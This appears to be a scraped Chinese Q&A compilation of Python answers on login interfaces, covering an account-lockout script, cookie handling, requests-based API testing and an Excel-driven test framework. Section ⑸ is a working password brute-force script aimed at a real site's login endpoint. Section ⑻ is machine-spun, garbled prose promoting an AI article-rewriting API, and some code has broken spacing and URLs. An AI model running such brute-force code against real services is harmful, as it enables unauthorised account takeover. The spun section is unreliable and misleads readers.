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python登录接口

发布时间: 2024-06-27 14:48:19

python3怎么才能实现当用户输入错误类型

python 循环和file操作实现用户密码输错三次将用户锁定
一、需求
编写登录接口
1.输入用户名密码
2.认证成功后显示欢迎信息
3.输错三次后锁定
二、简单思路
登录,三次密码输入错误锁定用户
1.用户信息文件:存放用户名和密码
2.黑名单文件:将输入三次错误的用户加入此名单,加入此名单的用户将不允许登录
三、具体实现
第一步:在黑名单里检测是否有此用户,如果有则不让登录
第二步:用户名和密码判定
代码如下:
#!/usr/bin/env python3
count = 0 #记录用户输入密码的次数
flag = 1 #标志位
lock = []
user_pass = []
username = input('please input your name:')
#读取黑名单的内容
f = open('black_mingdan','r')
lock_file = f.readlines()
f.close()
#将黑名单文件内容作为列表元素追加到列表中
for i in lock_file:
line = i.strip('\n')
lock.append(line)
#若输入的用户名在黑名单中,如果在则给出提示信息:用户已经被锁定,请联系管理员。
if username in lock:
print('User %s Have Been Locked.It is not allow to login,please contact Administrator.' %username)
else:
#输入的用户名不在黑名单中,则提示用户输入密码信息
while True:
count += 1
passwd = input("please input your password:")
f = open('user_information','r')
user_file = f.readlines()
f.close()
for i in user_file:
user_pass = i.strip().split()
#判断输入的用户名==user_pass[0] and 密码==user_pass[1],如果相等,则提示欢迎信息并退出循环,如果不相等则
#结束本次循环
if username == user_pass[0] and passwd == user_pass[1]:
print('welcome user %s login !' %username)
flag = True
break
else:
continue
#若flag为真,则用户名和密码输入正确跳出整个循环体,反之,若用户输入密码错误的次数为3,则给出提示信息:用户已经被锁定
#并将username追加到黑名单中
if flag is True:
break
else:
if count == 3:
print('User Have Been try 3 times,Have Been Locked')
lock_file = open('black_mingdan','a')
#lock_file.write('Have Been Locked User:%s\n' %username)
lock_file.write('%s\n' %username)
lock_file.close()
break
程序执行结果如下:
[root] python3 denglu.py
please input your name:zhangsan
please input your password:123
welcome user zhangsan login !
[root]# python3 denglu.py
please input your name:zhangsan
please input your password:098
please input your password:678
please input your password:543
User Have Been try 3 times,Have Been Locked
[root]# python3 denglu.py
please input your name:zhangsan
User zhangsan Have Been Locked.It is not allow to login,please contact Administrator.
[root]# cat black_mingdan
zhangsan

⑵ python测试接口时需要登录怎么解决

有些网页需要你登录之后才可以访问,你需要提供账户和密码。

只要在发送http请求时,带上含有正常登陆的cookie就可以了。

1.首先我们要先了解cookie的工作原理。

Cookie是由服务器端生成,发送给User-Agent(一般是浏唤皮览器),浏览器会将Cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器(前提是浏览器设置为启用cookie)。Cookie名称和值可以由服务器端开发自己定义,对于JSP而言也可以直接写入jsessionid,这样服务器可以知道该用户是否合法用户以及是否需要重新登录等。

2.之后我们要获取和尘差到用户正常登录的cookie.

python提供了cookieJar的库,只要兄拍把cookieJar的实例作为参数传到urllib2的一个opener里面。

然后访问一次登录的页面,cookie就已经保存下来了。之后通过这个实例访问所有的页面都带有正常登陆的cookie了。

以人人网为例子。

Python代码

  • #encoding=utf-8

  • importurllib2

  • importurllib

  • importcookielib

  • defrenrenBrower(url,user,password):

  • #登陆页面,可以通过抓包工具分析获得,如fiddler,wireshark

  • login_page="hLogin.do"

  • try:

  • #获得一个cookieJar实例

  • cj=cookielib.CookieJar()

  • #cookieJar作为参数,获得一个opener的实例

  • opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

  • #伪装成一个正常的浏览器,避免有些web服务器拒绝访问。

  • opener.addheaders=[('User-agent','Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1)')]

  • #生成Post数据,含有登陆用户名密码。

  • data=urllib.urlencode({"email":user,"password":password})

  • #以post的方法访问登陆页面,访问之后cookieJar会自定保存cookie

  • opener.open(login_page,data)

  • #以带cookie的方式访问页面

  • op=opener.open(url)

  • #读取页面源码

  • data=op.read()

  • returndata

  • exceptException,e:

  • printstr(e)

  • #访问某用户的个人主页,其实这已经实现了人人网的签到功能。

  • printrenrenBrower("httm/home","用户名","密码")

⑶ python怎么做接口测试工具

之前使用过urllib和urllib2做接口测试,在做的途中,感觉使用urllib2直接进行的get,post 请求并没有那么好用。作为测试人员,所需要的测试工具应当以方便为第一要务,测试的耗时只要是真正的无人值守,耗时不是太久的都可以接受。所以,本人又尝试了一个新的包:requests。

Requests 是用Python语言编写,基于 urllib,采用 Apache2 Licensed 开源协议的 HTTP 库。它比 urllib 更加方便,可以节约我们大量的工作,完全满足 HTTP 测试需求。Requests 的哲学是以 PEP 20 的习语为中心开发的,所以它比 urllib 更加 Pythoner。更重要的一点是它支持 Python3 !推荐一篇文章,上面有该包的详细说明传送门,以下只会写到我用到的部分,所以更多的了解需要自己去搜资料

好了,我们开始吧!!

接口测试中重要的部分:

1.get和post方法

2.用到的参数

3.请求头

4.cookie

5.日志输出

6.如何调试你的程序--借助fiddler

按照以上的顺序,我将一一说明我的搞法,因为编码能力有限,所以可能看着很low

一、get和post

requests包很好的实现了post和get方法,示例:

1 import requests2 response_get = requests.get(url, data, headers, cookies)3 response_post = requests.post(url, data, headers, cookies)

其他的访问方式如put,head等等,用法几乎都是如此,因为没用到,所以省略

现在一般的接口返回值有页面和json俩种,按照需求,可以分别使用response.text或者response.content获取,text获取的是unicode类型的返回值,而content返回值是str类型,所以我一般使用content来获取返回值,因为这样获取的返回值可以直接使用正则或者in的方式来验证返回值结果是否正确。

我自己为了实现接口的自动访问,所以又在requests上面加了一层封装,就像下面这样:

三、cookie

一款产品的接口测试中必定会使用登录状态,需要使用cookie实现,之前写过使用cookiejar获取cookie,requests中获取cookie的方法更为简单,不过首先你得知道是哪个接口set了cookie,不过一般是登录啦。登录接口访问之后set了cookie,那好,就去调用登录接口,然后拿到搞回来的cookie:

# 只需要这样!!login = requests.post(login_url, data=login_data, headers=login_header)
cookie = login.cookies

这个cookie就是登录状态了,拿着随便用,需要登录的就直接cookies=cookies

四、日志输出

这里注意看第二步中接口数据,有接口描述,也有接口是啥,第一步中又把content做成返回值了,具体拼接方式自己想吧,东西全有了,想写啥写啥,还可以加上获取本地时间的api获取接口运行时间,log文件该长啥样是门学问,这里就不献丑了。

五、借用fiddler调试你的脚本

requests允许使用代理访问,这有啥用,真有!fiddler是一款截包改包的工具,而且通过扩展可以进行请求间的比对,这样让你的程序访问的请求和真正正确的请求作对比,为啥我的程序访问出错?是不是缺了请求头?参数是不是丢了?cookie是不是少了?很容易看出来。写法如下:

proxies = { "http": "http://127.0.0.1:8888", "https": "http://127.0.0.1:8888"}
requests.post(url, proxies=proxies)

这样就可以走代理了,除fiddler以外还有charles和burp suite可以使用,具体看个人喜好吧。

⑷ 如何创建 python+requests接口自动化测试框架

工作原理: 测试用例在excel上编辑,使用第三方库xlrd,读取表格sheet和内容,sheetName对应模块名,Jenkins集成服务发现服务moleName查找对应表单,运用第三方库requests请求接口,根据结果和期望值进行断言,根据输出报告判断接口测试是否通过。
1. 数据准备
数据插入(容易实现的测试场景下所需外部数据)
准备sql (接口需要重复使用,参数一定得是变量)
2.集成部署(运维相关了解即可)
平滑升级验证脚本加入自动化
3.自动化框架实现
调用mysql
excel遍历测试用例
requests实现接口调用
根据接口返回的code值和Excel对比
报告反馈
暴露服务
写一个简单登录的接口自动化测试
代码的分层如下图:
coding.png
一、写一个封装的获取excel表格的模块
excel.png
代码实现如下:
# !/usr/bin/python
# -*- coding: UTF-8 -*-
# 基础包:excel的封装
import xlrd
workbook = None
def open_excel(path):
"""打开excel"""
global workbook
if (workbook == None):
workbook = xlrd.open_workbook(path, on_demand=True)
def get_sheet(sheetName):
"""获取行号"""
global workbook
return workbook.sheet_by_name(sheetName)
def get_rows(sheet):
"""获取行号"""
return sheet.nrows
def get_content(sheet, row, col):
"""获取表格中内容"""
return sheet.cell(row, col).value
def release(path):
"""释放excel减少内存"""
global workbook
workbook.release_resources()
del workbook
代码封装后当成模块引用,这还是最开始呢。
二、引用log模块获取日志
准备工作:
需要一个日志的捕获,包括框架和源码抛出的expection。
代码如下:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# 基础包:日志服务
import logging
import time
def getLogger():
global tezLogPath
try:
tezLogPath
except NameError:
tezLogPath = "/data/log/apiTest/"
FORMAT = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'
# file = tezLogPath + time.strftime("%Y-%m-%d", time.localtime()) + ".log"
# logging.basicConfig(filename=file, level=logging.INFO, format=FORMAT)
# 开发阶段为了方便调试,可不输出到文件
logging.basicConfig(level=logging.INFO, format=FORMAT)
return logging
三、引用requests模块接口测试
准备工作:
需要的请求类型和执行测试的方法。
代码如下:
#!/usr/bin/python#
#-*- coding: UTF-8 -*-
# 基础包:接口测试的封装
import requests
import tezLog as log
logging = log.getLogger()
def api_test(method, url, data ,headers):
"""
定义一个请求接口的方法和需要的参数
:Args:
method - 企业名称 str
url - 用户昵称 str
data - 参数 str
headers - 请求头信息 dict
非RESTful API请求另外的请求类型实际用不到。也不安全。
"""
try:
if method == "post":
results = requests.post(url, data, headers=headers)
if method == "get":
results = requests.get(url, data, headers=headers)
# if method == "put":
# results = requests.put(url, data, headers=headers)
# if method == "delete":
# results = requests.delete(url, headers=headers)
# if method == "patch":
# results == requests.patch(url, data, headers=headers)
# if method == "options":
# results == requests.options(url, headers=headers)
response = results.json()
code = response.get("code")
return code
except Exception, e:
logging.error("service is error", e)
def run_test(sheet):
"""
定义一个执行和断言的方法
:Args:
sheet - 服务名称 str(excel页脚名称识别的)
"""
rows = excel.getRows(sheet)
fail = 0
for i in range(2, rows):
#这里为什么从第二行开始跑,因为会先执行SQL进行数据准备如之前Excel展示的空白位置
testData = excel.getContent(sheet, i, gl.CASE_DATA)
testUrl = excel.getContent(sheet, i, gl.CASE_URL)
testMethod = excel.getContent(sheet, i, gl.CASE_METHOD)
testHeaders = eval(excel.getContent(sheet, i, gl.CASE_HEADERS))
testCode = excel.getContent(sheet, i, gl.CASE_CODE)
actualCode = request.apiTest(testMethod, testUrl, testData, testHeaders)
expectCode = str(int(testCode))
failResults = ' url: ' + testUrl + ' params: ' + testData + ' actualCode: ' + actualCode + ' expectCode: ' + expectCode
if actualCode == expectCode:
logging.info("pass")
elif actualCode != expectCode:
logging.info("fail %s", failResults)
fail += 1
if fail > 0 :
return False
return True
四、关于参数中gl模块
准备工作:
所有的参数和常量我们会整理到这个文件中,因为设计业务和服务密码、数据库密码这里展示一部分。
代码如下:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# 脚本功能:全部变量
import time
import uuid
CASE_NUMBER = 0 # 用例编号
CASE_NAME = 1 # 用例名称
CASE_DATA = 2 # 用例参数
CASE_URL = 3 # 用例接口地址
CASE_METHOD = 4 # 用例请求类型
CASE_CODE = 5 # 用例code
CASE_HEADERS = 6 # 用例headers
SQL_ROW = 0 # 预执行SQL的行号
SQL_COL = 1 # 预执行SQL的列号
五、写一个run文件:只是用来执行的,业务和代码剥离。
代码如下:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# 验证包:接口测试脚本
import sys
import core.tezLog as log
import function.common as common
logging = log.getLogger()
"""1.外部输入参数"""
path = sys.path[0] # 当前路径
mole = sys.argv[1] # 服务模块名
url = sys.argv[2] # 服务地址
host = sys.argv[3] # 数据库地址
user = sys.argv[4] # 数据库用户名
password = sys.argv[5] # 数据库密码
db = sys.argv[6] # 数据库名称
"""2.根据mole获取Sheet"""
logging.info("-------------- Execute TestCases ---------------")
sheet = common.get_excel_sheet(path + "/" + common.filename, mole)
"""3.数据准备"""
logging.info("-------------- Prepare data through MysqlDB --------------")
sql = common.get_prepare_sql(sheet)
common.prepare_data(host=host, user=user, password=password, db=db, sql=sql)
"""4.执行测试用例"""
res = common.run(sheet, url)
logging.info("-------------- Get the result ------------ %s", res)
"""这里的res是我们平滑升级的时候需要返回结果为TRUE才会继续下面走。"""
六、查看测试报告(部署到jenkins会通过控制台查看)

⑸ 如何用python写一个不断尝试密码达到网址登陆成功的源码!

'''
# 提取登录接口,观察登录失败特征,根据密码txt不停尝试,若返回结果没有失败特征就表示成功
#(不保险的话,可以将所有尝试结果记录下来,人为判断)
# 以艺龙登录接口为例:https://secure.elong.com/passport/ajax/elongLogin
# 失败特征:接口返回内容包含"success":false
'''
import requests

# 把登录接口、头部、请求参数、密码按列读取为列表,都定义好
loginUrl = 'https://secure.elong.com/passport/ajax/elongLogin'
header = {"Content-Type": "application/x-www-form-urlencoded"}
postData = {"userName":"name","passwd":""}
with open('密码.txt','r') as file:
pwdList = file.readlines()

# 循环更新密码并发送请求,判断返回内容是否包含失败特征
for pwd in pwdList:
postData["passwd"]=pwd
response=requests.request(method='POST',url=loginUrl,data=postData,headers=header)
resData = response.text
print resData
# find()返回-1时表示没找到失败特征
if resData.find('"success":false') == -1:
print '正确密码是:{}'.format(pwd)
break

⑹ python接口登陆超时

python接口登陆超时解决方法如下:
1、利用python实现接口登陆超时,可以利用python实现接口调用,读取登陆信息,实现超时时间设置,当超时时间到达时,重新调用接口登陆。
2、利用python实现定时任务,可以利用python实现定时任务,定时调用接口,检查登陆信息,如果登陆信息超时,则重新登陆。
3、利用python实现主动超时检测,可以利用python实现客户端轮询,定时调用接口,检查登陆信息,如果登陆信息超时,则重新登陆。
Python是一种强大而完全可扩展的编程语言,可以用来开发大型且复杂的应用程序。Python提供了一系列接口,这些接口可以帮助开发者编写高效和可维护的代码。

⑺ python调用微博api的place接口出现10014错误,怎么解决

一:获取app-key 和 app-secret

使用自己的微博账号登录微博开放平台(http://open.weibo.com/),在微博开放中心下“创建应用”创建一个应用,应用信息那些随便填,填写完毕后,不需要提交审核,需要的只是那个app-key和app-secret

二:设置授权回调页


⑻ python怎么获取需要登陆的接口的数据

使用Python做爬虫是很广泛的应用场景,那就涉及到了Python是如何获取接口数据的呢?Python拥有很多很强大的类库,使用urllib即可轻松获取接口返回的数据。
...展开
工具原料Python开发工具url接口,用于请求获取数据
方法/步骤分步阅读
1
/4
首先新建一个py文件,导入所需的类库,urllib,json等。
2
/4
声明api的url地址,和构造请求头。
3
/4
使用urlopen方法发起请求并获取返回的数据。
4
/4
最后就是对返回字符串的处理了。比如字符串的截取,字符串的转换成json对象,转换成字段,再获取对应key的值。
使用Python3实现HTTP get方法。使用聚合数据的应用编程接口,你可以调用小发猫AI写作API。这是一个免费的应用程序接口,先上代码,详细说明写在后面:

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import time
import re
se = requests.session()

if __name__ == '__main__':
Post_url = "http://api-ok.xiaofamao.com/api.php?json=0&v=1&key=xxxxxx" #自己想办法弄到key
Post_data = {
'wenzhang': '床前明月光,疑是地上霜。'
}
Text = se.post(Post_url, data=Post_data).text.replace("'", '"').replace('/ ', '/')
print(Text)

首先,什么是原料药?应用编程接口的全称也称为应用编程接口。它简称为应用编程接口。当我第一次接触接口调用时,我不知道写什么,因为我看了整个项目。这个项目是由龙卷风写的。看了半天龙卷风后,我发现我走错了方向。我只是直接看着界面,因为没有人告诉我项目的整个过程。我不得不强迫自己去看它。我所要做的就是找到程序的主入口,然后根据函数一步一步地调用它。
当我编写接口时,因为我必须配合后台编写和浏览器访问,每次访问只需要传入相应的参数来调用相应的接口。界面可以由他人编写,也可以由合作公司提供。当然,合作公司提供的不是免费的。现在基本上,如果我不访问它一次,它只收费几美分。当你听到这些,不要低估这几分。有时候如果你打了几百万次电话,会花很多钱。有些人认为,我们不能按月付款吗?对不起,我不知道。总之,我们一个接一个地计算,因为第一次,我认为我买的那些直接买了我们想要的所有数据,把它们保存在本地数据库中,当我使用它们时,直接从我自己的数据库中转移它们。后来,我发现我想得太多了,伪原创API。
该接口调用由python的请求库访问,它基本上是一个get或post请求。有些接口是加密的,然后我们必须用另一方提供给我们的公钥加密或解密,然后用相应的参数访问。我们想要的数据基本上是在请求后返回的结果中以json格式解析的。因此,在请求之后,我们可以用请求提供的json函数来解析它,然后提取数据以一次访问一个数据。
没错,接口调用就是这么简单,但是有了后台编写,我才发现请求库现在有多强大,只要它是http或https,我很高兴我在一周内读完了请求和bs4,我真的不打电话给爬虫工程师,如果我是爬虫的时候不学习请求,你能用scrapy写4=dead来写它吗?Urllib的单词基本上被删除了。如果你有要求,为什么要用这个?

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